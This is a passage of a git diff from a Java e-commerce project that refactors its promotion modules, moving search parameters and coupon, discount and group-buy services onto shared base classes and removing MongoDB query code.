org.springframework.data.mongodb.core.query.Query; - -import java.util.regex.Pattern; +import lombok.EqualsAndHashCode; /** * 积分商品查询通用类 @@ -17,8 +12,9 @@ import java.util.regex.Pattern; * @author paulG * @since 2021/1/13 **/ +@EqualsAndHashCode(callSuper = true) @Data -public class PointsGoodsSearchParams { +public class PointsGoodsSearchParams extends BasePromotionsSearchParams { @ApiModelProperty(value = "商品名称") private String goodsName; @@ -35,15 +31,10 @@ public class PointsGoodsSearchParams { @ApiModelProperty(value = "积分,可以为范围,如10_1000") private String points; - /** - * @see PromotionStatusEnum - */ - @ApiModelProperty(value = "活动状态") - private String promotionStatus; - + @Override public QueryWrapper queryWrapper() { - QueryWrapper queryWrapper = new QueryWrapper<>(); + QueryWrapper queryWrapper = super.queryWrapper(); if (CharSequenceUtil.isNotEmpty(goodsName)) { queryWrapper.eq("gs.goods_name", goodsName); } @@ -64,41 +55,7 @@ public class PointsGoodsSearchParams { if (recommend != null) { queryWrapper.eq("gs.recommend", recommend); } - if (CharSequenceUtil.isNotEmpty(promotionStatus)) { - queryWrapper.eq("pg.promotion_status", promotionStatus); - } return queryWrapper; } - - public Query mongoQuery() { - Query query = new Query(); - if (CharSequenceUtil.isNotEmpty(goodsName)) { - Pattern pattern = Pattern.compile("^.*" + goodsName + ".*$", Pattern.CASE_INSENSITIVE); - query.addCriteria(Criteria.where("goodsSku.goodsName").regex(pattern)); - } - if (CharSequenceUtil.isNotEmpty(skuId)) { - query.addCriteria(Criteria.where("skuId").is(skuId)); - } - if (CharSequenceUtil.isNotEmpty(pointsGoodsCategoryId)) { - query.addCriteria(Criteria.where("pointsGoodsCategoryId").is(pointsGoodsCategoryId)); - } - if (CharSequenceUtil.isNotEmpty(points)) { - String[] s = points.split("_"); - if (s.length > 1) { - query.addCriteria(Criteria.where("points").gte(Convert.toInt(s[0])).lte(Convert.toInt(s[1]))); - } else { - query.addCriteria(Criteria.where("points").gte(Convert.toInt(s[0]))); - } - } - if (recommend != null) { - query.addCriteria(Criteria.where("goodsSku.recommend").is(recommend)); - } - if (CharSequenceUtil.isNotEmpty(promotionStatus)) { - query.addCriteria(Criteria.where("promotionStatus").is(promotionStatus)); - } - query.addCriteria(Criteria.where("deleteFlag").is(false)); - return query; - } - } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PromotionGoodsSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PromotionGoodsSearchParams.java index 8f0d8ff0..c9f377a7 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PromotionGoodsSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/PromotionGoodsSearchParams.java @@ -1,12 +1,14 @@ package cn.lili.modules.promotion.entity.vos; import cn.hutool.core.text.CharSequenceUtil; -import cn.lili.modules.promotion.entity.dos.PromotionGoods; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import cn.lili.modules.promotion.entity.enums.PromotionsScopeTypeEnum; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; -import java.util.Date; +import java.util.Arrays; +import java.util.List; /** * 促销商品查询通用类 @@ -14,8 +16,9 @@ import java.util.Date; * @author paulG * @since 2021/2/21 **/ +@EqualsAndHashCode(callSuper = true) @Data -public class PromotionGoodsSearchParams { +public class PromotionGoodsSearchParams extends BasePromotionsSearchParams { @ApiModelProperty(value = "促销活动id") private String promotionId; @@ -23,10 +26,7 @@ public class PromotionGoodsSearchParams { @ApiModelProperty(value = "促销类型") private String promotionType; - @ApiModelProperty(value = "促销状态") - private String promotionStatus; - - @ApiModelProperty(value = "促销活动id") + @ApiModelProperty(value = "商品活动id") private String storeId; @ApiModelProperty(value = "商品名称") @@ -35,40 +35,46 @@ public class PromotionGoodsSearchParams { @ApiModelProperty(value = "商品分类路径") private String categoryPath; - @ApiModelProperty(value = "开始时间") - private Long startTime; + @ApiModelProperty(value = "商品SkuId") + private String skuId; - @ApiModelProperty(value = "结束时间") - private Long endTime; + @ApiModelProperty(value = "商品SkuIds") + private List skuIds; + + @ApiModelProperty(value = "促销活动id") + private List promotionIds; - public LambdaQueryWrapper queryWrapper() { - LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); + @Override + public QueryWrapper queryWrapper() { + if (CharSequenceUtil.isEmpty(this.getScopeType())){ + this.setScopeType(PromotionsScopeTypeEnum.PORTION_GOODS.name()); + } + QueryWrapper queryWrapper = super.queryWrapper(); if (CharSequenceUtil.isNotEmpty(promotionId)) { - queryWrapper.eq(PromotionGoods::getPromotionId, promotionId); + queryWrapper.eq("promotion_id", promotionId); } if (CharSequenceUtil.isNotEmpty(goodsName)) { - queryWrapper.like(PromotionGoods::getGoodsName, goodsName); + queryWrapper.like("goods_name", goodsName); } if (CharSequenceUtil.isNotEmpty(promotionType)) { - queryWrapper.eq(PromotionGoods::getPromotionType, promotionType); - } - if (CharSequenceUtil.isNotEmpty(promotionStatus)) { - queryWrapper.eq(PromotionGoods::getPromotionStatus, promotionStatus); + queryWrapper.eq("promotion_type", promotionType); } if (CharSequenceUtil.isNotEmpty(categoryPath)) { - queryWrapper.like(PromotionGoods::getCategoryPath, categoryPath); - } - if (startTime != null) { - queryWrapper.ge(PromotionGoods::getStartTime, new Date(startTime)); - } - if (endTime != null) { - queryWrapper.ge(PromotionGoods::getEndTime, new Date(endTime)); + queryWrapper.like("category_path", categoryPath); } if (CharSequenceUtil.isNotEmpty(storeId)) { - queryWrapper.eq(PromotionGoods::getStoreId, storeId); + queryWrapper.in("store_id", Arrays.asList(storeId.split(","))); + } + if (CharSequenceUtil.isNotEmpty(skuId)) { + queryWrapper.in("sku_id", Arrays.asList(skuId.split(","))); + } + if (skuIds != null && !skuIds.isEmpty()) { + queryWrapper.in("sku_id", skuIds); + } + if (promotionIds != null && promotionIds.isEmpty()) { + queryWrapper.in("promotion_id", promotionIds); } - queryWrapper.eq(PromotionGoods::getDeleteFlag, false); return queryWrapper; } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/SeckillSearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/SeckillSearchParams.java index d269320f..bebeac2f 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/SeckillSearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/SeckillSearchParams.java @@ -1,19 +1,14 @@ package cn.lili.modules.promotion.entity.vos; import cn.hutool.core.text.CharSequenceUtil; -import cn.hutool.core.util.ArrayUtil; -import cn.lili.modules.promotion.entity.enums.PromotionApplyStatusEnum; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsApplyStatusEnum; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; -import org.springframework.data.mongodb.core.query.Criteria; -import org.springframework.data.mongodb.core.query.Query; +import lombok.EqualsAndHashCode; import java.io.Serializable; import java.util.Arrays; -import java.util.Date; -import java.util.regex.Pattern; /** * 秒杀活动查询通用类 @@ -21,8 +16,9 @@ import java.util.regex.Pattern; * @author paulG * @since 2020/8/21 **/ +@EqualsAndHashCode(callSuper = true) @Data -public class SeckillSearchParams implements Serializable { +public class SeckillSearchParams extends BasePromotionsSearchParams implements Serializable { private static final long serialVersionUID = -4052716630253333681L; @@ -44,26 +40,18 @@ public class SeckillSearchParams implements Serializable { @ApiModelProperty(value = "商品名称") private String goodsName; - @ApiModelProperty(value = "活动开始时间", required = true) - private Long startTime; - - @ApiModelProperty(value = "活动结束时间", required = true) - private Long endTime; + @ApiModelProperty(value = "商家编号") + private String skuId; /** - * @see PromotionStatusEnum - */ - @ApiModelProperty(value = "活动状态") - private String promotionStatus; - - /** - * @see cn.lili.modules.promotion.entity.enums.PromotionApplyStatusEnum + * @see PromotionsApplyStatusEnum */ @ApiModelProperty(value = "APPLY(\"申请\"), PASS(\"通过\"), REFUSE(\"拒绝\")") private String promotionApplyStatus; - public QueryWrapper wrapper() { - QueryWrapper queryWrapper = new QueryWrapper<>(); + @Override + public QueryWrapper queryWrapper() { + QueryWrapper queryWrapper = super.queryWrapper(); if (CharSequenceUtil.isNotEmpty(goodsName)) { queryWrapper.like("goods_name", goodsName); } @@ -79,56 +67,13 @@ public class SeckillSearchParams implements Serializable { if (timeLine != null) { queryWrapper.eq("time_line", timeLine); } - if (startTime != null) { - queryWrapper.ge("start_time", new Date(startTime)); - } - if (endTime != null) { - queryWrapper.le("end_time", new Date(endTime)); - } if (CharSequenceUtil.isNotEmpty(promotionApplyStatus)) { - queryWrapper.eq("promotion_apply_status", PromotionApplyStatusEnum.valueOf(promotionApplyStatus).name()); + queryWrapper.eq("promotion_apply_status", PromotionsApplyStatusEnum.valueOf(promotionApplyStatus).name()); } - if (CharSequenceUtil.isNotEmpty(promotionStatus)) { - queryWrapper.eq("promotion_status", PromotionStatusEnum.valueOf(promotionStatus).name()); + if (CharSequenceUtil.isNotEmpty(skuId)) { + queryWrapper.eq("sku_id", skuId); } - queryWrapper.eq("delete_flag", false); return queryWrapper; } - public Query mongoQuery() { - Query query = new Query(); - if (CharSequenceUtil.isNotEmpty(goodsName)) { - Pattern pattern = Pattern.compile("^.*" + goodsName + ".*$", Pattern.CASE_INSENSITIVE); - query.addCriteria(Criteria.where("goodsName").regex(pattern)); - } - if (CharSequenceUtil.isNotEmpty(promotionName)) { - Pattern pattern = Pattern.compile("^.*" + promotionName + ".*$", Pattern.CASE_INSENSITIVE); - query.addCriteria(Criteria.where("promotionName").regex(pattern)); - } - if (CharSequenceUtil.isNotEmpty(seckillId)) { - query.addCriteria(Criteria.where("_id").is(seckillId)); - } - if (storeIds != null) { - Pattern pattern = Pattern.compile("^.*" + ArrayUtil.join(storeIds, ",") + ".*$", Pattern.CASE_INSENSITIVE); - query.addCriteria(Criteria.where("storeIds").regex(pattern)); - } - if (timeLine != null) { - query.addCriteria(Criteria.where("timeLine").is(timeLine)); - } - if (startTime != null) { - query.addCriteria(Criteria.where("startTime").gte(new Date(startTime))); - } - if (endTime != null) { - query.addCriteria(Criteria.where("endTime").lte(new Date(endTime))); - } - if (CharSequenceUtil.isNotEmpty(promotionApplyStatus)) { - query.addCriteria(Criteria.where("promotionApplyStatus").is(PromotionApplyStatusEnum.valueOf(promotionApplyStatus).name())); - } - if (CharSequenceUtil.isNotEmpty(promotionStatus)) { - query.addCriteria(Criteria.where("promotionStatus").is(PromotionStatusEnum.valueOf(promotionStatus).name())); - } - query.addCriteria(Criteria.where("deleteFlag").is(false)); - return query; - } - } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivityGoodsParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivityGoodsParams.java index bb817150..10fc4233 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivityGoodsParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivityGoodsParams.java @@ -4,17 +4,13 @@ package cn.lili.modules.promotion.entity.vos.kanjia; import cn.hutool.core.text.CharSequenceUtil; import cn.lili.common.security.context.UserContext; import cn.lili.common.security.enums.UserEnums; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; +import cn.lili.modules.promotion.entity.enums.PromotionsStatusEnum; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; -import org.springframework.data.domain.Sort; -import org.springframework.data.mongodb.core.query.Criteria; -import org.springframework.data.mongodb.core.query.Query; import java.io.Serializable; import java.util.Date; -import java.util.regex.Pattern; /** * 砍价活动商品查询通用类 @@ -40,7 +36,7 @@ public class KanjiaActivityGoodsParams implements Serializable { private String skuId; /** - * @see PromotionStatusEnum + * @see PromotionsStatusEnum */ @ApiModelProperty(value = "活动状态") private String promotionStatus; @@ -68,32 +64,4 @@ public class KanjiaActivityGoodsParams implements Serializable { return queryWrapper; } - - public Query mongoQuery() { - Query query = new Query(); - if (CharSequenceUtil.isNotEmpty(goodsName)) { - Pattern pattern = Pattern.compile("^.*" + goodsName + ".*$", Pattern.CASE_INSENSITIVE); - query.addCriteria(Criteria.where("goodsSku.goodsName").regex(pattern)); - } - if (CharSequenceUtil.isNotEmpty(promotionStatus)) { - query.addCriteria(Criteria.where("promotionStatus").is(promotionStatus)); - } - - if (CharSequenceUtil.isNotEmpty(skuId)) { - query.addCriteria(Criteria.where("skuId").is(skuId)); - } - if (startTime != null && endTime != null) { - Criteria fromTime = Criteria.where("startTime").gte(new Date(startTime)); - Criteria toTime = Criteria.where("endTime").lte(new Date(endTime)); - query.addCriteria(fromTime); - query.addCriteria(toTime); - } - query.addCriteria(Criteria.where("deleteFlag").is(false)); - Sort.Order order = new Sort.Order(Sort.Direction.DESC, "createTime"); - query.with(Sort.by(order)); - - return query; - } - - } diff --git a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivitySearchParams.java b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivitySearchParams.java index 0bb6b2b2..24c10cbd 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivitySearchParams.java +++ b/framework/src/main/java/cn/lili/modules/promotion/entity/vos/kanjia/KanjiaActivitySearchParams.java @@ -1,9 +1,11 @@ package cn.lili.modules.promotion.entity.vos.kanjia; import cn.hutool.core.util.StrUtil; +import cn.lili.modules.promotion.entity.vos.BasePromotionsSearchParams; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import io.swagger.annotations.ApiModelProperty; import lombok.Data; +import lombok.EqualsAndHashCode; /** * 砍价活动搜索参数 @@ -11,8 +13,9 @@ import lombok.Data; * @author Bulbasaur * @date: 2021/7/13 2:41 下午 */ +@EqualsAndHashCode(callSuper = true) @Data -public class KanjiaActivitySearchParams { +public class KanjiaActivitySearchParams extends BasePromotionsSearchParams { @ApiModelProperty(value = "砍价活动ID") private String id; diff --git a/framework/src/main/java/cn/lili/modules/promotion/mapper/PromotionGoodsMapper.java b/framework/src/main/java/cn/lili/modules/promotion/mapper/PromotionGoodsMapper.java index fc675f91..c8b7ba8b 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/mapper/PromotionGoodsMapper.java +++ b/framework/src/main/java/cn/lili/modules/promotion/mapper/PromotionGoodsMapper.java @@ -1,7 +1,9 @@ package cn.lili.modules.promotion.mapper; import cn.lili.modules.promotion.entity.dos.PromotionGoods; +import com.baomidou.mybatisplus.core.conditions.Wrapper; import com.baomidou.mybatisplus.core.mapper.BaseMapper; +import com.baomidou.mybatisplus.core.toolkit.Constants; import org.apache.ibatis.annotations.Param; import org.apache.ibatis.annotations.Select; @@ -28,7 +30,7 @@ public interface PromotionGoodsMapper extends BaseMapper { @Select("select count(0) from li_promotion_goods where promotion_type = #{promotionType} and sku_id = #{skuId} and (" + "( start_time < #{startTime} && end_time > #{startTime} ) || ( start_time < #{endTime} && end_time > #{endTime} ) || " + "( start_time < #{startTime} && end_time > #{endTime} ) || ( start_time > #{startTime} && end_time < #{endTime} )" + - " || promotion_status = 'START' )") + ")") Integer selectInnerOverlapPromotionGoods(@Param("promotionType") String promotionType, @Param("skuId") String skuId, @Param("startTime") Date startTime, @@ -47,10 +49,19 @@ public interface PromotionGoodsMapper extends BaseMapper { @Select("select count(0) from li_promotion_goods where promotion_type = #{promotionType} and sku_id = #{skuId} and (" + "( start_time < #{startTime} && end_time > #{startTime} ) || ( start_time < #{endTime} && end_time > #{endTime} ) || " + "( start_time < #{startTime} && end_time > #{endTime} ) || ( start_time > #{startTime} && end_time < #{endTime} )" + - " || promotion_status = 'START' ) and promotion_id != #{promotionId}") + ") and promotion_id != #{promotionId}") Integer selectInnerOverlapPromotionGoodsWithout(@Param("promotionType") String promotionType, @Param("skuId") String skuId, @Param("startTime") Date startTime, @Param("endTime") Date endTime, @Param("promotionId") String promotionId); + + /** + * 查询参加活动促销商品价格 + * + * @param queryWrapper 查询条件 + * @return 共参加了几种活动 + */ + @Select("select price from li_promotion_goods ${ew.customSqlSegment} ") + Double selectPromotionsGoodsPrice(@Param(Constants.WRAPPER) Wrapper queryWrapper); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/AbstractPromotionsService.java b/framework/src/main/java/cn/lili/modules/promotion/service/AbstractPromotionsService.java new file mode 100644 index 00000000..e0afee22 --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/promotion/service/AbstractPromotionsService.java @@ -0,0 +1,130 @@ +package cn.lili.modules.promotion.service; + +import cn.lili.common.enums.PromotionTypeEnum; +import cn.lili.common.vo.PageVO; +import cn.lili.modules.promotion.entity.dto.BasePromotions; +import cn.lili.modules.promotion.entity.vos.BasePromotionsSearchParams; +import com.baomidou.mybatisplus.core.metadata.IPage; +import com.baomidou.mybatisplus.extension.service.IService; + +import java.util.List; + +/** + * 抽象通用促销服务 + * 如需拓展原促销实体字段,新拓展类继承自促销实体即可 + * + * @param 促销类型,继承自促销基础类 + * @author paulG + * @since 2021/11/18 + **/ +public interface AbstractPromotionsService extends IService { + + /** + * 通用促销保存 + * 调用顺序: + * 1. initPromotion 初始化促销信息 + * 2. checkPromotions 检查促销参数 + * 3. save 保存促销信息 + * 4. updatePromotionGoods 更新促销商品信息 + * 5。 updateEsGoodsIndex 更新商品索引促销信息 + * + * @param promotions 促销信息 + * @return 是否保存成功 + */ + boolean savePromotions(T promotions); + + /** + * 通用促销更新 + * 调用顺序: + * 1. checkStatus 检查促销状态 + * 2. checkPromotions 检查促销参数 + * 3. saveOrUpdate 保存促销信息 + * 4. updatePromotionGoods 更新促销商品信息 + * 5. updateEsGoodsIndex 更新商品索引促销信息 + * + * @param promotions 促销信息 + * @return 是否更新成功 + */ + boolean updatePromotions(T promotions); + + /** + * 更新促销状态 + * 如果要更新促销状态为关闭,startTime和endTime置为空即可 + * + * @param ids 促销id集合 + * @param startTime 开始时间 + * @param endTime 结束时间 + * @return 是否更新成功 + */ + boolean updateStatus(List ids, Long startTime, Long endTime); + + /** + * 移除促销活动 + * + * @param ids 促销活动id集合 + * @return 是否移除成功 + */ + boolean removePromotions(List ids); + + /** + * 分页查询促销信息 + * + * @param searchParams 查询参数,继承自继承促销查询参数 + * @param page 分页参数 + * @param 继承自基础促销查询参数的促销查询参数 + * @return 分页促销信息 + */ + IPage pageFindAll(S searchParams, PageVO page); + + /** + * 列表查询促销信息 + * + * @param searchParams 查询参数,继承自继承促销查询参数 + * @param 继承自基础促销查询参数的促销查询参数 + * @return 列表促销信息 + */ + List listFindAll(S searchParams); + + /** + * 初始化促销字段 + * + * @param promotions 促销实体 + */ + void initPromotion(T promotions); + + /** + * 检查促销参数 + * + * @param promotions 促销实体 + */ + void checkPromotions(T promotions); + + /** + * 检查促销状态 + * + * @param promotions 促销实体 + */ + void checkStatus(T promotions); + + /** + * 更新促销商品信息 + * + * @param promotions 促销实体 + */ + void updatePromotionsGoods(T promotions); + + /** + * 更新促销信息到商品索引 + * + * @param promotions 促销实体 + */ + void updateEsGoodsIndex(T promotions); + + /** + * 当前促销类型 + * + * @return 当前促销类型 + */ + PromotionTypeEnum getPromotionType(); + +} diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/CouponActivityItemService.java b/framework/src/main/java/cn/lili/modules/promotion/service/CouponActivityItemService.java index 53911189..d936cf3b 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/CouponActivityItemService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/CouponActivityItemService.java @@ -28,4 +28,11 @@ public interface CouponActivityItemService extends IService * @return 优惠券关联优惠券列表 */ List getCouponActivityItemListVO(String activityId); + + /** + * 根据优惠券id删除优惠活动关联信息项 + * + * @param couponIds 优惠券id集合 + */ + void removeByCouponId(List couponIds); } diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/CouponActivityService.java b/framework/src/main/java/cn/lili/modules/promotion/service/CouponActivityService.java index f283f60c..b615dc5e 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/CouponActivityService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/CouponActivityService.java @@ -2,10 +2,7 @@ package cn.lili.modules.promotion.service; import cn.lili.modules.member.entity.dos.Member; import cn.lili.modules.promotion.entity.dos.CouponActivity; -import cn.lili.modules.promotion.entity.dto.CouponActivityDTO; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; import cn.lili.modules.promotion.entity.vos.CouponActivityVO; -import com.baomidou.mybatisplus.extension.service.IService; import java.util.List; @@ -15,23 +12,8 @@ import java.util.List; * @author Bulbasaur * @since 2021/5/20 6:10 下午 */ -public interface CouponActivityService extends IService { +public interface CouponActivityService extends AbstractPromotionsService { - /** - * 创建优惠券活动--精准发券、新人赠券 - * - * @param couponActivityDTO 优惠券活动DTO - * @return 优惠券活动DTO - */ - CouponActivityDTO addCouponActivity(CouponActivityDTO couponActivityDTO); - - /** - * 修改优惠券活动--精准发券、新人赠券 - * - * @param couponActivityDTO 优惠券活动DTO - * @return 优惠券活动DTO - */ - CouponActivityDTO updateCouponActivity(CouponActivityDTO couponActivityDTO); /** * 获取优惠券活动VO @@ -57,13 +39,4 @@ public interface CouponActivityService extends IService { */ void registered(List couponActivityList, Member member); - - /** - * 修改优惠券活动状态 - * - * @param id 活动ID - * @param promotionStatus 活动状态 - * @return 操作状态 - */ - boolean updateCouponActivityStatus(String id, PromotionStatusEnum promotionStatus); } diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/CouponService.java b/framework/src/main/java/cn/lili/modules/promotion/service/CouponService.java index 3b4a526d..f81dde24 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/CouponService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/CouponService.java @@ -2,13 +2,9 @@ package cn.lili.modules.promotion.service; import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.Coupon; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; import cn.lili.modules.promotion.entity.vos.CouponSearchParams; import cn.lili.modules.promotion.entity.vos.CouponVO; import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.service.IService; - -import java.util.List; /** * 优惠券业务层 @@ -16,76 +12,7 @@ import java.util.List; * @author Chopper * @since 2020/8/21 */ -public interface CouponService extends IService { - - /** - * 添加优惠券 - * - * @param coupon 优惠券 - * @return 是否添加成功 - */ - CouponVO add(CouponVO coupon); - - /** - * 更新优惠卷 - * - * @param coupon 优惠卷信息 - * @return 是否更新成功 - */ - CouponVO updateCoupon(CouponVO coupon); - - /** - * 更新优惠卷状态 - * - * @param couponId 优惠券编号 - * @param promotionStatus 促销状态 - * @return 更新结果 - */ - boolean updateCouponStatus(List couponId, PromotionStatusEnum promotionStatus); - - /** - * 删除优惠券 - * - * @param id 优惠券id - * @return 是否删除成功 - */ - boolean deleteCoupon(String id); - - - /** - * 根据查询条件从mongo中获取优惠券信息列表 - * - * @param param 查询参数 - * @param page 分页参数 - * @return 优惠券信息列表 - */ - IPage getCouponsByPageFromMongo(CouponSearchParams param, PageVO page); - - /** - * 根据查询条件从mongo中获取优惠券信息列表 - * - * @param param 查询参数 - * @param page 分页参数 - * @return 优惠券信息列表 - */ - IPage getCanReceiveCoupons(CouponSearchParams param, PageVO page); - - /** - * 获取优惠券详情 - * - * @param id 优惠券id - * @return 优惠券详情 - */ - CouponVO getCouponDetailFromMongo(String id); - - /** - * 根据条件获取优惠券列表 - * - * @param param 条件参数 - * @param page 分页条件 - * @return 可领取优惠券集合 - */ - IPage getCouponsByPage(CouponSearchParams param, PageVO page); +public interface CouponService extends AbstractPromotionsService { /** * 领取优惠券 @@ -103,7 +30,21 @@ public interface CouponService extends IService { */ void usedCoupon(String couponId, Integer usedNum); + /** + * 获取优惠券展示实体 + * + * @param searchParams 查询参数 + * @param page 分页参数 + * @return 优惠券展示实体列表 + */ + IPage pageVOFindAll(CouponSearchParams searchParams, PageVO page); - + /** + * 获取优惠券展示详情 + * + * @param couponId 优惠券id + * @return 返回优惠券展示详情 + */ + CouponVO getDetail(String couponId); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/FullDiscountService.java b/framework/src/main/java/cn/lili/modules/promotion/service/FullDiscountService.java index e84a7bda..04314bde 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/FullDiscountService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/FullDiscountService.java @@ -1,12 +1,7 @@ package cn.lili.modules.promotion.service; -import cn.lili.common.vo.PageVO; import cn.lili.modules.order.cart.entity.vo.FullDiscountVO; import cn.lili.modules.promotion.entity.dos.FullDiscount; -import cn.lili.modules.promotion.entity.enums.PromotionStatusEnum; -import cn.lili.modules.promotion.entity.vos.FullDiscountSearchParams; -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.service.IService; import java.util.List; @@ -16,7 +11,7 @@ import java.util.List; * @author Chopper * @since 2020/8/21 */ -public interface FullDiscountService extends IService { +public interface FullDiscountService extends AbstractPromotionsService { /** * 当前满优惠活动 @@ -26,41 +21,6 @@ public interface FullDiscountService extends IService { */ List currentPromotion(List storeId); - /** - * 添加满优惠活动 - * - * @param fullDiscountVO 满优惠活动信息 - * @return 满优惠活动 - */ - FullDiscount addFullDiscount(FullDiscountVO fullDiscountVO); - - /** - * 从mysql中分页获取满优惠列表 - * - * @param searchParams 参数 - * @param page 分页参数 - * @return 满优惠列表 - */ - IPage getFullDiscountByPageFromMysql(FullDiscountSearchParams searchParams, PageVO page); - - /** - * 从mongo中分页获取满优惠列表 - * - * @param searchParams 搜索参数 - * @param page 分页参数 - * @return 满优惠列表 - */ - IPage getFullDiscountByPageFromMongo(FullDiscountSearchParams searchParams, PageVO page); - - - /** - * 修改满优惠活动 - * - * @param fullDiscountVO 满优惠活动信息 - * @return 满优惠活动 - */ - FullDiscountVO modifyFullDiscount(FullDiscountVO fullDiscountVO); - /** * 获取满优惠活动详情 * @@ -69,21 +29,6 @@ public interface FullDiscountService extends IService { */ FullDiscountVO getFullDiscount(String id); - /** - * 删除满优惠获取 - * - * @param id 满优惠活动编号 - * @return 删除结果 - */ - boolean deleteFullDiscount(String id); - /** - * 更新满额活动状态 - * - * @param id 优惠券编号 - * @param promotionStatus 促销状态 - * @return 更新结果 - */ - boolean updateFullDiscountStatus(String id, PromotionStatusEnum promotionStatus); } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityGoodsService.java b/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityGoodsService.java index 7ef066bd..bf5645c7 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityGoodsService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/KanjiaActivityGoodsService.java @@ -38,7 +38,7 @@ public interface KanjiaActivityGoodsService extends IService getForPage(KanjiaActivityGoodsParams kanJiaActivityGoodsParams, PageVO pageVO); + IPage getForPage(KanjiaActivityGoodsParams kanJiaActivityGoodsParams, PageVO pageVO); /** * 查询砍价活动商品分页信息 @@ -62,7 +62,7 @@ public interface KanjiaActivityGoodsService extends IService ids); - /** - * 根据skuID查询当前进行的砍价商品信息 - * - * @param skuId 商品skuId - * @return - */ - KanjiaActivityGoodsDTO getKanJiaGoodsBySku(String skuId); - } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/MemberCouponService.java b/framework/src/main/java/cn/lili/modules/promotion/service/MemberCouponService.java index db43622c..429915ec 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/MemberCouponService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/MemberCouponService.java @@ -25,6 +25,14 @@ public interface MemberCouponService extends IService { */ void checkCouponLimit(String couponId, String memberId); + /** + * 领取优惠券 + * + * @param couponId 优惠券编号 + * @param memberId 会员 + * @param memberName 会员名称 + */ + void receiveBuyerCoupon(String couponId, String memberId, String memberName); /** * 领取优惠券 @@ -109,4 +117,11 @@ public interface MemberCouponService extends IService { */ void cancellation(String id); + /** + * 关闭会员优惠券 + * + * @param couponIds 优惠券id集合 + */ + void closeMemberCoupon(List couponIds); + } \ No newline at end of file diff --git a/framework/src/main/java/cn/lili/modules/promotion/service/PintuanService.java b/framework/src/main/java/cn/lili/modules/promotion/service/PintuanService.java index cc2cd853..02b50374 100644 --- a/framework/src/main/java/cn/lili/modules/promotion/service/PintuanService.java +++ b/framework/src/main/java/cn/lili/modules/promotion/service/PintuanService.java @@ -1,15 +1,10 @@ package cn.lili.modules.promotion.service; -import cn.lili.common.vo.PageVO; import cn.lili.modules.promotion.entity.dos.Pintuan; import cn.lili.modules.promotion.entity.vos.PintuanMemberVO; -import cn.lili.modules.promotion.entity.vos.PintuanSearchParams; import cn.lili.modules.promotion.entity.vos.PintuanShareVO; import cn.lili.modules.promotion.entity.vos.PintuanVO; -import com.baomidou.mybatisplus.core.metadata.IPage; -import com.baomidou.mybatisplus.extension.service.IService; -import java.util.Date; import java.util.List; /** @@ -18,16 +13,8 @@ import java.util.List; * @author Chopper * @since 2020/11/18 9:45 上午 */ -public interface PintuanService extends IService { +public interface PintuanService extends AbstractPromotionsService { - /** - * 根据条件分页查询拼团活动列表 - * - * @param param 拼团活动查询参数 - * @param page 分页参数 - * @return 拼团活动列表 - */ - IPage getPintuanByPage(PintuanSearchParams param, PageVO page); /** * 获取当前拼团的会员 @@ -37,80 +24,13 @@ public interface PintuanService extends IService { */ List getPintuanMember(String pintuanId); - /** - * 从mongo中根据条件分页查询拼团活动列表 - * - * @param param 拼团活动查询参数 - 